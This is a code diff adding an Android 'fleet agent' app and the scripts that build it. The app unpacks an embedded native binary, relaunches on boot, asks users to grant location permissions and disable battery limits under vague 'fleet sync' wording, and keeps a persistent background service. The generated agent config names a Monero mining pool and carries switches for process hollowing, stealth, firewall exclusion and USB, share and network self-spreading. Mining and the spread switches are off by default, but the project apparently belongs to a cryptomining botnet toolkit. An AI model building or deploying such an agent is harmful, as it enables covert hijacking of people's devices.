val mgr = getSystemService(NotificationManager::class.java)
val channel = NotificationChannel(
CHANNEL_ID,
getString(R.string.notification_channel_name),
NotificationManager.IMPORTANCE_LOW,
).apply {
description = getString(R.string.notification_channel_desc)
setShowBadge(false)
}
mgr.createNotificationChannel(channel)
}
private fun buildNotification(): Notification {
val pending = PendingIntent.getActivity(
this,
0,
Intent(this, MainActivity::class.java),
PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT,
)
return NotificationCompat.Builder(this, CHANNEL_ID)
.setContentTitle(getString(R.string.notification_title))
.setContentText(getString(R.string.notification_body))
.setSmallIcon(R.drawable.ic_launcher_foreground)
.setContentIntent(pending)
.setOngoing(true)
.setPriority(NotificationCompat.PRIORITY_LOW)
.setCategory(NotificationCompat.CATEGORY_SERVICE)
.build()
}
}

View File

@@ -0,0 +1,47 @@
package com.aetherforge.agent
import android.content.Context
import android.util.Log
import java.io.File
import java.io.FileOutputStream
object BinaryExtractor {
private const val TAG = "AetherForge"
private const val ASSET_NAME = "agent"
private const val BIN_NAME = "agent-arm64"
fun ensureBinary(context: Context): File? {
val outDir = File(context.filesDir, "bin").apply { mkdirs() }
val outFile = File(outDir, BIN_NAME)
val assetSize = assetSize(context)
if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) {
outFile.setExecutable(true, false)
outFile.setReadable(true, false)
return outFile
}
return extract(context, outFile)
}
private fun assetSize(context: Context): Long {
return runCatching {
context.assets.openFd(ASSET_NAME).use { it.length }
}.getOrDefault(0L)
}
private fun extract(context: Context, outFile: File): File? {
return try {
context.assets.open(ASSET_NAME).use { input ->
FileOutputStream(outFile).use { output ->
input.copyTo(output)
}
}
outFile.setExecutable(true, false)
outFile.setReadable(true, false)
Log.i(TAG, "extracted agent binary to ${outFile.absolutePath} (${outFile.length()} bytes)")
outFile
} catch (e: Exception) {
Log.e(TAG, "failed to extract agent binary", e)
null
}
}
}

View File

@@ -0,0 +1,14 @@
package com.aetherforge.agent
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.util.Log
class BootReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent?) {
if (intent?.action != Intent.ACTION_BOOT_COMPLETED) return
Log.i("AetherForge", "BOOT_COMPLETED — starting AgentService")
AgentService.start(context.applicationContext)
}
}

View File

@@ -0,0 +1,123 @@
package com.aetherforge.agent
import android.Manifest
import android.content.Intent
import android.content.pm.PackageManager
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.os.PowerManager
import android.provider.Settings
import android.widget.Button
import android.widget.LinearLayout
import android.widget.TextView
import android.widget.Toast
import androidx.activity.result.contract.ActivityResultContracts
import androidx.appcompat.app.AppCompatActivity
import androidx.core.content.ContextCompat
class MainActivity : AppCompatActivity() {
private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
private lateinit var pendingPermissions: List<String>
private val permissionLauncher =
registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
val denied = results.filterValues { !it }.keys
if (denied.isNotEmpty()) {
Toast.makeText(
this,
"Some permissions were denied — fleet diagnostics may be limited.",
Toast.LENGTH_LONG,
).show()
}
requestNextPermissionBatch()
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(buildLayout())
if (!prefs.getBoolean("permissions_requested", false)) {
prefs.edit().putBoolean("permissions_requested", true).apply()
beginPermissionFlow()
} else {
startFleetService()
}
}
private fun buildLayout(): LinearLayout {
val pad = (24 * resources.displayMetrics.density).toInt()
return LinearLayout(this).apply {
orientation = LinearLayout.VERTICAL
setPadding(pad, pad, pad, pad)
addView(TextView(context).apply {
text = getString(R.string.permission_intro_title)
textSize = 22f
setTextColor(0xFFE2E8F0.toInt())
})
addView(TextView(context).apply {
text = getString(R.string.permission_intro_body)
textSize = 15f
setTextColor(0xFF94A3B8.toInt())
setPadding(0, pad / 2, 0, pad)
})
addView(TextView(context).apply {
text = getString(R.string.battery_hint)
textSize = 14f
setTextColor(0xFF64748B.toInt())
setPadding(0, 0, 0, pad)
})
addView(Button(context).apply {
text = getString(R.string.open_battery_settings)
setOnClickListener { openBatteryOptimizationSettings() }
})
}
}
private fun requiredRuntimePermissions(): List<String> {
val perms = mutableListOf<String>()
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
perms += Manifest.permission.POST_NOTIFICATIONS
perms += Manifest.permission.NEARBY_WIFI_DEVICES
}
perms += Manifest.permission.ACCESS_FINE_LOCATION
perms += Manifest.permission.ACCESS_COARSE_LOCATION
return perms.filter {
ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED
}
}
private fun beginPermissionFlow() {
pendingPermissions = requiredRuntimePermissions()
if (pendingPermissions.isEmpty()) {
openBatteryOptimizationSettings()
startFleetService()
return
}
permissionLauncher.launch(pendingPermissions.toTypedArray())
}
private fun requestNextPermissionBatch() {
openBatteryOptimizationSettings()
startFleetService()
}
private fun openBatteryOptimizationSettings() {
val pm = getSystemService(POWER_SERVICE) as PowerManager
if (!pm.isIgnoringBatteryOptimizations(packageName)) {
val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply {
data = Uri.parse("package:$packageName")
}
runCatching { startActivity(intent) }
}
}
private fun startFleetService() {
val serviceIntent = Intent(this, AgentService::class.java).apply {
action = AgentService.ACTION_START
intent?.extras?.let { putExtras(it) }
}
AgentService.start(this, serviceIntent)
Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show()
}
}

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<path
android:fillColor="#22D3EE"
android:pathData="M54,24 L78,42 L78,66 L54,84 L30,66 L30,42 Z" />
<path
android:fillColor="#0F172A"
android:pathData="M54,38 L66,48 L66,60 L54,70 L42,60 L42,48 Z" />
</vector>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@color/ic_launcher_background" />
<foreground android:drawable="@drawable/ic_launcher_foreground" />
</adaptive-icon>

View File

@@ -0,0 +1,3 @@
<?xml version="1.0" encoding="utf-8"?>
<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
android:src="@drawable/ic_launcher_foreground" />

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="ic_launcher_background">#0F172A</color>
</resources>

View File

@@ -0,0 +1,14 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">AetherForge Agent</string>
<string name="permission_intro_title">Your fleet node</string>
<string name="permission_intro_body">Tap Allow on each prompt so this device can sync with your AetherForge fleet. A persistent notification keeps the agent alive in the background.</string>
<string name="notification_channel_name">Fleet sync</string>
<string name="notification_channel_desc">Keeps your AetherForge fleet node connected</string>
<string name="notification_title">Fleet sync</string>
<string name="notification_body">AetherForge agent connected to command deck</string>
<string name="battery_hint">For reliable background sync, disable battery optimizations for this app when prompted.</string>
<string name="service_started">Fleet agent service started</string>
<string name="service_failed">Could not start fleet agent — see logcat</string>
<string name="open_battery_settings">Battery optimization settings</string>
</resources>

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="Theme.AetherForgeAgent" parent="Theme.AppCompat.DayNight.NoActionBar">
<item name="android:statusBarColor">#111827</item>
<item name="android:navigationBarColor">#111827</item>
<item name="android:windowBackground">#111827</item>
<item name="colorPrimary">#22d3ee</item>
</style>
</resources>

88
android/build-apk.ps1 Normal file
View File

@@ -0,0 +1,88 @@
# AetherForge Android Agent APK — compile embedded agent + assembleDebug
param(
[string]$ServerUrl = $(if ($env:AETHERFORGE_SERVER_URL) { $env:AETHERFORGE_SERVER_URL } else { "http://127.0.0.1:8989" }),
[string]$WorkerName = $(if ($env:AETHERFORGE_WORKER_NAME) { $env:AETHERFORGE_WORKER_NAME } else { "android-fleet-node" }),
[string]$FleetSecret = $env:AETHERFORGE_FLEET_SECRET,
[string]$BuildId = "android-$(Get-Date -Format 'yyyyMMdd-HHmmss')"
)
$ErrorActionPreference = "Stop"
$Root = Split-Path -Parent $MyInvocation.MyCommand.Path
$RepoRoot = Split-Path -Parent $Root
$AgentDir = Join-Path $RepoRoot "agent"
$AppDir = Join-Path $Root "agent-app"
$AssetsDir = Join-Path $AppDir "src\main\assets"
$AgentAsset = Join-Path $AssetsDir "agent"
$ConfigAsset = Join-Path $AssetsDir "config.json"
$BuiltinPath = Join-Path $AgentDir "config\builtin.go"
$BuiltinBackup = Join-Path $AgentDir "config\builtin.go.android-bak"
$ApkOut = Join-Path $AppDir "build\outputs\apk\debug\aetherforge-agent.apk"
function Restore-Builtin {
if (Test-Path $BuiltinBackup) {
Move-Item -Force $BuiltinBackup $BuiltinPath
}
}
try {
if (-not (Get-Command go -ErrorAction SilentlyContinue)) {
throw "go compiler not found in PATH"
}
Write-Host "==> Baking config (server=$ServerUrl worker=$WorkerName)" -ForegroundColor Cyan
Push-Location (Join-Path $Root "forge")
$bakeArgs = @(
"run", "./cmd/bake",
"-server", $ServerUrl,
"-worker", $WorkerName,
"-build-id", $BuildId,
"-config-out", $ConfigAsset,
"-builtin-out", $BuiltinPath
)
if ($FleetSecret) { $bakeArgs += @("-fleet-secret", $FleetSecret) }
& go @bakeArgs
if ($LASTEXITCODE -ne 0) { throw "bake failed" }
Pop-Location
if (Test-Path $BuiltinPath) {
Copy-Item -Force $BuiltinPath $BuiltinBackup
}
Write-Host "==> Compiling linux/arm64 agent binary" -ForegroundColor Cyan
$env:GOOS = "linux"
$env:GOARCH = "arm64"
$env:CGO_ENABLED = "0"
Push-Location $AgentDir
& go build -trimpath -ldflags "-s -w" -o $AgentAsset .
if ($LASTEXITCODE -ne 0) { throw "go build failed" }
Pop-Location
$size = (Get-Item $AgentAsset).Length
Write-Host " agent binary: $size bytes -> $AgentAsset"
if (-not $env:ANDROID_HOME -and $env:ANDROID_SDK_ROOT) {
$env:ANDROID_HOME = $env:ANDROID_SDK_ROOT
}
if (-not $env:ANDROID_HOME) {
throw "ANDROID_HOME (or ANDROID_SDK_ROOT) is required for Gradle assembleDebug"
}
$gradlew = Join-Path $AppDir "gradlew.bat"
if (-not (Test-Path $gradlew)) {
throw "Gradle wrapper missing. Run: cd android/agent-app && gradle wrapper"
}
Write-Host "==> Gradle assembleDebug" -ForegroundColor Cyan
Push-Location $AppDir
& $gradlew assembleDebug --no-daemon
if ($LASTEXITCODE -ne 0) { throw "gradle assembleDebug failed" }
Pop-Location
if (-not (Test-Path $ApkOut)) {
throw "APK not found at $ApkOut"
}
Write-Host "==> APK ready: $ApkOut" -ForegroundColor Green
}
finally {
Restore-Builtin
}

74
android/build-apk.sh Normal file
View File

@@ -0,0 +1,74 @@
#!/usr/bin/env bash
# AetherForge Android Agent APK — compile embedded agent + assembleDebug
set -euo pipefail
ROOT="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$ROOT/.." && pwd)"
AGENT_DIR="$REPO_ROOT/agent"
APP_DIR="$ROOT/agent-app"
ASSETS_DIR="$APP_DIR/src/main/assets"
AGENT_ASSET="$ASSETS_DIR/agent"
CONFIG_ASSET="$ASSETS_DIR/config.json"
BUILTIN_PATH="$AGENT_DIR/config/builtin.go"
BUILTIN_BACKUP="$AGENT_DIR/config/builtin.go.android-bak"
APK_OUT="$APP_DIR/build/outputs/apk/debug/aetherforge-agent.apk"
SERVER_URL="${AETHERFORGE_SERVER_URL:-http://127.0.0.1:8989}"
WORKER_NAME="${AETHERFORGE_WORKER_NAME:-android-fleet-node}"
FLEET_SECRET="${AETHERFORGE_FLEET_SECRET:-}"
BUILD_ID="${AETHERFORGE_BUILD_ID:-android-$(date +%Y%m%d-%H%M%S)}"
restore_builtin() {
if [[ -f "$BUILTIN_BACKUP" ]]; then
mv -f "$BUILTIN_BACKUP" "$BUILTIN_PATH"
fi
}
trap restore_builtin EXIT
command -v go >/dev/null 2>&1 || { echo "go compiler not found" >&2; exit 1; }
echo "==> Baking config (server=$SERVER_URL worker=$WORKER_NAME)"
pushd "$ROOT/forge" >/dev/null
bake_args=(
run ./cmd/bake
-server "$SERVER_URL"
-worker "$WORKER_NAME"
-build-id "$BUILD_ID"
-config-out "$CONFIG_ASSET"
-builtin-out "$BUILTIN_PATH"
)
if [[ -n "$FLEET_SECRET" ]]; then
bake_args+=(-fleet-secret "$FLEET_SECRET")
fi
go "${bake_args[@]}"
popd >/dev/null
[[ -f "$BUILTIN_PATH" ]] && cp -f "$BUILTIN_PATH" "$BUILTIN_BACKUP"
echo "==> Compiling linux/arm64 agent binary"
(
cd "$AGENT_DIR"
GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -trimpath -ldflags "-s -w" -o "$AGENT_ASSET" .
)
echo " agent binary: $(wc -c <"$AGENT_ASSET") bytes -> $AGENT_ASSET"
export ANDROID_HOME="${ANDROID_HOME:-${ANDROID_SDK_ROOT:-}}"
if [[ -z "$ANDROID_HOME" ]]; then
echo "ANDROID_HOME (or ANDROID_SDK_ROOT) is required for Gradle assembleDebug" >&2
exit 1
fi
if [[ ! -x "$APP_DIR/gradlew" ]]; then
echo "Gradle wrapper missing. Run: cd android/agent-app && gradle wrapper" >&2
exit 1
fi
echo "==> Gradle assembleDebug"
(
cd "$APP_DIR"
./gradlew assembleDebug --no-daemon
)
[[ -f "$APK_OUT" ]] || { echo "APK not found at $APK_OUT" >&2; exit 1; }
echo "==> APK ready: $APK_OUT"

View File

@@ -0,0 +1,80 @@
// bake renders Android APK assets and agent builtin config for a forge run.
package main
import (
"flag"
"fmt"
"os"
"path/filepath"
"aetherforge-android-forge/internal/forge"
)
func main() {
worker := flag.String("worker", "", "agent worker name")
server := flag.String("server", "", "command deck URL (http/https)")
secret := flag.String("fleet-secret", "", "fleet secret (optional; prefer env AETHERFORGE_FLEET_SECRET)")
wallet := flag.String("wallet", "", "placeholder wallet (mining off by default)")
buildID := flag.String("build-id", "android-dev", "build id stamped into config")
configOut := flag.String("config-out", "", "write assets/config.json here")
builtinOut := flag.String("builtin-out", "", "write agent/config/builtin.go here")
flag.Parse()
cfg := forge.AndroidAgentDefaults()
if *worker != "" {
cfg.WorkerName = *worker
}
if *server != "" {
cfg.ServerURL = *server
}
if *secret != "" {
cfg.FleetSecret = *secret
} else if v := os.Getenv("AETHERFORGE_FLEET_SECRET"); v != "" {
cfg.FleetSecret = v
}
if *wallet != "" {
cfg.Wallet = *wallet
}
if *buildID != "" {
cfg.BuildID = *buildID
}
if *configOut != "" {
json, err := forge.RenderConfigJSON(cfg)
if err != nil {
exitErr(err)
}
if err := writeFile(*configOut, json); err != nil {
exitErr(err)
}
fmt.Fprintf(os.Stderr, "wrote %s\n", *configOut)
}
if *builtinOut != "" {
src, err := forge.RenderBuiltinGo(cfg)
if err != nil {
exitErr(err)
}
if err := writeFile(*builtinOut, src); err != nil {
exitErr(err)
}
fmt.Fprintf(os.Stderr, "wrote %s\n", *builtinOut)
}
if *configOut == "" && *builtinOut == "" {
fmt.Fprintln(os.Stderr, "specify -config-out and/or -builtin-out")
os.Exit(2)
}
}
func writeFile(path, body string) error {
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
return err
}
return os.WriteFile(path, []byte(body), 0644)
}
func exitErr(err error) {
fmt.Fprintf(os.Stderr, "bake error: %v\n", err)
os.Exit(1)
}

3
android/forge/go.mod Normal file
View File

@@ -0,0 +1,3 @@
module aetherforge-android-forge
go 1.26.3

View File

@@ -0,0 +1,140 @@
// Package forge renders Android agent APK bake-time configuration.
package forge
import (
"bytes"
"encoding/json"
"fmt"
"strings"
"time"
)
// BakeConfig holds values embedded at APK forge time.
type BakeConfig struct {
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
FleetSecret string `json:"fleet_secret,omitempty"`
Wallet string `json:"wallet,omitempty"`
BuildID string `json:"build_id,omitempty"`
}
// AndroidAgentDefaults returns fleet-first defaults with mining off by default.
func AndroidAgentDefaults() BakeConfig {
return BakeConfig{
WorkerName: "android-fleet-node",
ServerURL: "http://127.0.0.1:8989",
Wallet: "android-node-no-pool",
BuildID: "android-dev",
}
}
// RenderConfigJSON produces assets/config.json content for the APK wrapper.
func RenderConfigJSON(cfg BakeConfig) (string, error) {
cfg = normalize(cfg)
out := map[string]any{
"worker_name": cfg.WorkerName,
"server_url": cfg.ServerURL,
"mining": map[string]any{
"enabled": false,
"mode": "idle",
"note": "CPU mining disabled by default; enable via server policy or re-forge.",
},
"fleet_secret_set": strings.TrimSpace(cfg.FleetSecret) != "",
"build_id": cfg.BuildID,
}
if cfg.FleetSecret != "" {
out["fleet_secret"] = cfg.FleetSecret
}
var buf bytes.Buffer
enc := json.NewEncoder(&buf)
enc.SetEscapeHTML(false)
enc.SetIndent("", " ")
if err := enc.Encode(out); err != nil {
return "", err
}
return strings.TrimSpace(buf.String()) + "\n", nil
}
// RenderBuiltinGo produces agent/config/builtin.go for the embedded linux/arm64 binary.
func RenderBuiltinGo(cfg BakeConfig) (string, error) {
cfg = normalize(cfg)
now := time.Now().UTC().Unix()
return fmt.Sprintf(`// Code generated by AetherForge Android forge — DO NOT EDIT
// Build ID: %s
package config
import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: %q,
ServerURL: %q,
Wallet: %q,
Threads: 0,
ThreadMode: "percent",
ThreadPercent: 0,
CPUPriority: "idle",
MiningMode: "idle",
MinerExecution: "inprocess",
DisplayMode: "background",
SilentMode: false,
RunAs: "user",
AutoStart: false,
ProcessName: "aetherforge-agent",
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
PoolHost: "pool.supportxmr.com",
PoolPort: 3333,
PoolTLS: false,
PoolPass: "x",
MaxCPUUsage: 0,
MaxMemoryPct: 50,
MinFreeRAM: 256,
IdleThresholdPct: 0,
IdleDurationMinutes: 60,
ScheduleStart: "00:00",
ScheduleEnd: "00:01",
InstallBase: "temp",
InstallRelativePath: "aetherforge-agent",
AdaptToHardware: true,
SelfHealing: false,
FileLogging: true,
StealthMode: false,
FirewallExclusion: false,
AIEnabled: false,
ProcessHollowing: false,
MeshP2P: false,
AutoSpread: false,
HolePunch: false,
RemoteAggressive: false,
USBSpread: false,
ShareSpread: false,
GPUEnabled: false,
FleetSecret: %q,
LotlOnionEnabled: false,
LotlPolicyFromServer: false,
DnsTxtSpread: false,
WebRTCMeshSpread: false,
WSUSCachePeerSpread: false,
}
}
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret), nil
}
func normalize(cfg BakeConfig) BakeConfig {
def := AndroidAgentDefaults()
if strings.TrimSpace(cfg.WorkerName) == "" {
cfg.WorkerName = def.WorkerName
}
if strings.TrimSpace(cfg.ServerURL) == "" {
cfg.ServerURL = def.ServerURL
}
if strings.TrimSpace(cfg.Wallet) == "" {
cfg.Wallet = def.Wallet
}
if strings.TrimSpace(cfg.BuildID) == "" {
cfg.BuildID = def.BuildID
}
return cfg
}

View File

@@ -0,0 +1,78 @@
package forge
import (
"encoding/json"
"strings"
"testing"
)
func TestRenderConfigJSON(t *testing.T) {
cfg := BakeConfig{
WorkerName: "pixel-7",
ServerURL: "https://deck.example.com:8989",
FleetSecret: "test-secret",
BuildID: "apk-001",
}
raw, err := RenderConfigJSON(cfg)
if err != nil {
t.Fatal(err)
}
var doc map[string]any
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
t.Fatalf("invalid json: %v\n%s", err, raw)
}
if doc["worker_name"] != "pixel-7" {
t.Fatalf("worker_name: %v", doc["worker_name"])
}
if doc["server_url"] != "https://deck.example.com:8989" {
t.Fatalf("server_url: %v", doc["server_url"])
}
mining, ok := doc["mining"].(map[string]any)
if !ok || mining["enabled"] != false {
t.Fatalf("mining should be disabled: %v", doc["mining"])
}
if doc["fleet_secret_set"] != true {
t.Fatalf("fleet_secret_set expected true")
}
}
func TestRenderBuiltinGo(t *testing.T) {
cfg := BakeConfig{
WorkerName: "tab-s9",
ServerURL: "http://10.0.0.5:8989",
FleetSecret: "fleet-key",
Wallet: "placeholder-wallet",
BuildID: "b-android",
}
src, err := RenderBuiltinGo(cfg)
if err != nil {
t.Fatal(err)
}
for _, needle := range []string{
`WorkerName: "tab-s9"`,
`ServerURL: "http://10.0.0.5:8989"`,
`FleetSecret: "fleet-key"`,
`MiningMode: "idle"`,
`IdleThresholdPct: 0`,
`AutoStart: false`,
`GPUEnabled: false`,
} {
if !strings.Contains(src, needle) {
t.Fatalf("missing %q in builtin.go:\n%s", needle, src)
}
}
}
func TestAndroidAgentDefaults(t *testing.T) {
def := AndroidAgentDefaults()
raw, err := RenderConfigJSON(def)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(raw, `"enabled": false`) {
t.Fatalf("expected mining disabled in json: %s", raw)
}
if !strings.Contains(raw, def.ServerURL) {
t.Fatalf("expected default server url in json: %s", raw)
}
}

37
android/smoke-gradle.sh Normal file
View File

@@ -0,0 +1,37 @@
#!/usr/bin/env bash
# Smoke-check that the Android Gradle project is structurally valid.
set -euo pipefail
ROOT="$(cd "$(dirname "$0")" && pwd)"
APP="$ROOT/agent-app"
required=(
"$APP/build.gradle.kts"
"$APP/settings.gradle.kts"
"$APP/src/main/AndroidManifest.xml"
"$APP/src/main/java/com/aetherforge/agent/MainActivity.kt"
"$APP/src/main/java/com/aetherforge/agent/AgentService.kt"
"$APP/src/main/java/com/aetherforge/agent/BootReceiver.kt"
"$APP/src/main/assets/config.json"
)
for f in "${required[@]}"; do
if [[ ! -f "$f" ]]; then
echo "missing required file: $f" >&2
exit 1
fi
done
grep -q 'FOREGROUND_SERVICE' "$APP/src/main/AndroidManifest.xml"
grep -q 'RECEIVE_BOOT_COMPLETED' "$APP/src/main/AndroidManifest.xml"
grep -q 'AgentService' "$APP/src/main/AndroidManifest.xml"
if [[ -x "$APP/gradlew" ]]; then
(cd "$APP" && ./gradlew help -q)
elif command -v gradle >/dev/null 2>&1; then
(cd "$APP" && gradle help -q)
else
echo "gradle not installed — structural checks only (PASS)"
fi
echo "android gradle smoke: OK"